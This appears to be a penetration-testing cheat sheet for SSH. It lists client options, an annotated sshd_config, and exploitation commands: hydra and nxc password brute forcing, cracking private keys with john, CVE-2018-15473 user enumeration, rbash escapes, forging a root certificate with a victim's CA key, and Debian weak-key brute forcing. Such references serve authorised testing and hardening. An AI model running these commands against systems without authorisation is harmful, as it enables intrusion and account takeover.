08TCP
SSH
00 Basic
- SSH Login Options
bash39 lines
## ------------------| Debugging and Troubleshootingssh -v h4rithd@<IP> ## Enable verbose output for debuggingssh -vvv h4rithd@<IP> ## Enable maximum verbose output
## ------------------| Host Key Managementssh -o UserKnownHostsFile=/dev/null h4rithd@<IP> ## Prevents ssh from attempting to save the host keyssh -o StrictHostKeyChecking=no h4rithd@<IP> ## Instruct ssh to not prompt to accept the host keyssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null h4rithd@<IP> ## Combine to bypass host key checking (insecure, for testing)
## ------------------| Escaping Restricted Shellsssh -t bash h4rithd@<IP> ## Escape rbash by forcing bashssh -t /bin/sh h4rithd@<IP> ## Escape rbash using shssh -t python -c 'import pty; pty.spawn("/bin/bash")' h4rithd@<IP> ## Escape rbash with Python PTY
## ------------------| Using sshpass for Automationsshpass -f /path/to/keyfile ssh h4rithd@<IP> ## Use sshpass with key filesshpass -p 'password' ssh h4rithd@<IP> ## Use sshpass with password (insecure)sshpass -p 'password' ssh -o StrictHostKeyChecking=no h4rithd@<IP> ## Combine sshpass with no host key checking
## ------------------| Authentication Methodsssh -o PubkeyAuthentication=no h4rithd@<IP> ## Disable public key authenticationssh -o PreferredAuthentications=password -o PubkeyAuthentication=no h4rithd@<IP> ## Force password authenticationssh -o GSSAPIAuthentication=no h4rithd@<IP> ## Disable GSSAPI authenticationssh -i /path/to/id_rsa_custom h4rithd@<IP> ## Use specific private key file
## ------------------| Encryption and Compatibilityssh -o MACs=hmac-sha2-256 h4rithd@<IP> ## Specify modern MAC algorithmssh -o MACs=hmac-sha2-512 h4rithd@<IP> ## Specify modern MAC algorithmssh -o MACs=hmac-md5 h4rithd@<IP> ## Try legacy MAC for compatibility (deprecated, insecure)ssh -o Ciphers=aes256-ctr h4rithd@<IP> ## Specify encryption cipherssh -o KexAlgorithms=diffie-hellman-group14-sha1 h4rithd@<IP> ## Specify legacy key exchange algorithmssh -o HostKeyAlgorithms=+ssh-dss h4rithd@<IP> ## Specify legacy host key algorithmssh -o KexAlgorithms=diffie-hellman-group14-sha1 -o HostKeyAlgorithms=+ssh-dss h4rithd@<IP> ## Combine legacy key exchange and host key algorithms
## ------------------| Connection Optimizationssh -2 h4rithd@<IP> ## Force SSHv2 protocol (SSHv1 is insecure)ssh -C h4rithd@<IP> ## Enable compression for faster data transferssh -p 2222 h4rithd@<IP> ## Use custom port (e.g., 2222)ssh -F /path/to/custom_ssh_config h4rithd@<IP> ## Use custom SSH config file- Default Configurations
bash96 lines
# ------------------| Potentially Dangerous SSH SettingsPermitRootLogin prohibit-password ## Still allows root login via SSH key; consider setting to "no" for higher securityPasswordAuthentication yes ## Enables brute-force attacks; disable and use key-based authentication insteadAllowAgentForwarding yes ## Can be abused if server is compromised to hijack SSH agent sessionsAllowTcpForwarding yes ## Can be used to bypass firewalls or pivot inside networksX11Forwarding yes ## Can expose X11 display to attackers; may allow keylogging or remote controlClientAliveInterval 0 ## Disables keep-alive checks; idle sessions may remain open indefinitelyUseDNS no ## Safe setting, but if changed to "yes", it may open risks of DNS spoofingAuthorizedKeysFile .ssh/authorized_keys2 ## Deprecated/legacy; can cause confusion or bypass security reviews
## ------------------| Basic SettingsInclude /etc/ssh/sshd_config.d/*.conf ## Includes additional configuration files from this directoryPort 22 ## Used for SSH service (default port)AddressFamily any ## SSH will accept both IPv4 and IPv6 connectionsListenAddress 0.0.0.0 ## SSH listens on all IPv4 addressesListenAddress :: ## SSH listens on all IPv6 addressesHostKey /etc/ssh/ssh_host_rsa_key ## RSA host key locationHostKey /etc/ssh/ssh_host_ecdsa_key ## ECDSA host key locationHostKey /etc/ssh/ssh_host_ed25519_key ## Ed25519 host key locationPidFile /run/sshd.pid ## PID file location for the SSH daemonVersionAddendum none ## No custom SSH version string displayedBanner none ## No login banner displayed
## ------------------| Credential ManagementPermitRootLogin prohibit-password ## Root login allowed only with key-based authenticationPubkeyAuthentication yes ## Enables public key authenticationPasswordAuthentication yes ## Enables password authenticationPermitEmptyPasswords no ## Disallows login with empty passwordsAuthorizedPrincipalsFile none ## No authorized principals file usedAuthorizedKeysCommand none ## No custom command to retrieve authorized keysAuthorizedKeysCommandUser nobody ## If used, command would run as user "nobody"AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2 ## Locations of user's authorized keys
## ------------------| Authentication SettingsStrictModes yes ## Checks file permissions for securityMaxAuthTries 6 ## Maximum authentication attempts per connectionMaxSessions 10 ## Maximum number of sessions per network connectionLoginGraceTime 2m ## Allows 2 minutes for users to authenticateKbdInteractiveAuthentication no ## Disables keyboard-interactive authenticationHostbasedAuthentication no ## Disables host-based authenticationIgnoreUserKnownHosts no ## SSH will use user's known_hosts fileIgnoreRhosts yes ## Ignores legacy rhosts files
## ------------------| Kerberos & GSSAPIKerberosAuthentication no ## Disables Kerberos authenticationKerberosOrLocalPasswd yes ## Falls back to local password if Kerberos failsKerberosTicketCleanup yes ## Cleans up Kerberos tickets after loginKerberosGetAFSToken no ## Does not get AFS token via KerberosGSSAPIAuthentication no ## Disables GSSAPI-based authenticationGSSAPICleanupCredentials yes ## Cleans up GSSAPI credentials after loginGSSAPIStrictAcceptorCheck yes ## Enables strict host checking in GSSAPIGSSAPIKeyExchange no ## Disables GSSAPI for key exchange
## ------------------| PAM & Session ManagementUsePAM yes ## Enables Pluggable Authentication ModulesPermitTTY yes ## Allows allocation of TTY for SSH sessionsPrintMotd no ## Does not print message of the dayPrintLastLog yes ## Displays last login information upon login
## ------------------| Logging & AuditingSyslogFacility AUTH ## Logs go to the AUTH syslog facilityLogLevel INFO ## Log verbosity level set to INFO
## ------------------| Connection SettingsRekeyLimit default none ## No limit on SSH rekeyingTCPKeepAlive yes ## Sends keepalive packets to clientsClientAliveInterval 0 ## Disables client alive messagesClientAliveCountMax 3 ## Number of client alive messages before disconnectionMaxStartups 10:30:100 ## Limits on simultaneous unauthenticated connections
## ------------------| Forwarding & TunnelingAllowAgentForwarding yes ## Allows SSH agent forwardingAllowTcpForwarding yes ## Allows TCP forwarding through SSHGatewayPorts no ## Disallows remote hosts from connecting to forwarded portsPermitTunnel no ## Disables tunneling via SSH
## ------------------| X11 ForwardingX11Forwarding yes ## Enables X11 forwardingX11DisplayOffset 10 ## Sets display number offset for X11 forwardingX11UseLocalhost yes ## X11 will bind to localhost only
## ------------------| Environment & CompressionPermitUserEnvironment no ## Disallows environment variable files in user's homeCompression delayed ## Enables compression after authenticationUseDNS no ## Disables DNS resolution of client hostnameAcceptEnv LANG LC_* ## Accepts only language-related environment variables
## ------------------| SubsystemsSubsystem sftp /usr/lib/openssh/sftp-server ## Defines the SFTP subsystem
## ------------------| Match BlocksMatch User anoncvs ## Applies the following settings only to user 'anoncvs' X11Forwarding no ## Disables X11 forwarding for 'anoncvs' AllowTcpForwarding no ## Disables TCP forwarding for 'anoncvs' PermitTTY no ## Disallows TTY for 'anoncvs' ForceCommand cvs server ## Forces the command 'cvs server' for 'anoncvs'01 Enumeration & Exploitation
01.1 Enumeration
bash1 line
sh-audit <IP>01.2 Exploitation
- Brute Force
bash2 lines
hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt ssh://<IP>:22 -t 4nxc ssh <IP> -u users.txt -p passwords.txt- Crack Private Keys
bash2 lines
python3.8 /usr/share/john/ssh2john.py id_rsa > id_rsa.johnjohn id_rsa.john -w=/usr/share/wordlists/rockyou.txt- User Enumeration (OpenSSH 7.7 | CVE-2018-15473)
bash10 lines
## ------------------| Using MSFuse auxiliary/scanner/ssh/ssh_enumusersset RHOSTS <IP>set USER_FILE userlist.txtrun
## ------------------| Using Pythongit clone https://gitlab.com/epi052/cve-2018-15473.git && cd cve-2018-15473pip install -r requirements.txtpython3 ssh-username-enum.py -w userlist.txt <IP>- SSH Certificate-Based Authentication for Root Access
bash24 lines
## ------------------| Background### This method allows you to generate an SSH certificate that grants root access### using a trusted Certificate Authority (CA) key.
## ------------------| Prerequisites### You already have a private key (ca_key) and its corresponding public key (ca_key.pub).### The CA public key (ca_key.pub) is listed in the SSH server’s configuration (/etc/ssh/sshd_config.d/sshcerts.conf)### The entry should look like this --> TrustedUserCAKeys /etc/ssh/ca_key.pub
## ------------------| Getting root accessssh-keygen -t ed25519 -f rootssh-keygen -s <private_key_from_victim> -z 223 -I 'root' -V -5m:forever -n root root.pub#### -s <private_key_from_victim> → The CA private key used for signing.#### -z 223 → (Doesn’t really matter) Serial number (223) for tracking issued certificates.#### -I 'root' → Identity label (root).#### -V -5m:forever → Sets the validity period:######## -5m → Starts 5 minutes in the past (to avoid clock drift issues).######## forever → The certificate never expires.######## if you want expire it in 42 weeks --> -5m:+42w#### -n root → Specifies that only root can use this key.#### root.pub → The public key being signed.ssh-keygen -L -f root-cert.pubchmod 600 rootssh -i root root@<IP>- CVE-2008-0166 (
Debian-based systems | September 2006 <--> 2008 May 13th)
bash1 line
https://www.exploit-db.com/exploits/5720- Predictable PRNG Brute Force SSH
bash15 lines
## ------------------| Info## OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives)## you need authorized_keys file on your machine.
## ------------------| Setup## Add "PubkeyAcceptedKeyTypes +ssh-dss" to /etc/ssh/ssh_config filegit clone https://github.com/g0tmi1k/debian-sshwget https://github.com/g0tmi1k/debian-ssh/raw/master/common_keys/debian_ssh_dsa_1024_x86.tar.bz2wget https://github.com/g0tmi1k/debian-ssh/raw/master/common_keys/debian_ssh_rsa_2048_x86.tar.bz2tar -xf *.bz2## check anything match with authorized_keys file.## Copy the first 40 chars in the authorized_keys, then search it in the repogrep -lr 'AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAVdV3yLwTsyNA'## After finding the pub key, The corresponding Private key which is also in the same directory (without pub).ssh -i key -oKexAlgorithms=+diffie-hellman-group1-sha1 <USER>@<IP>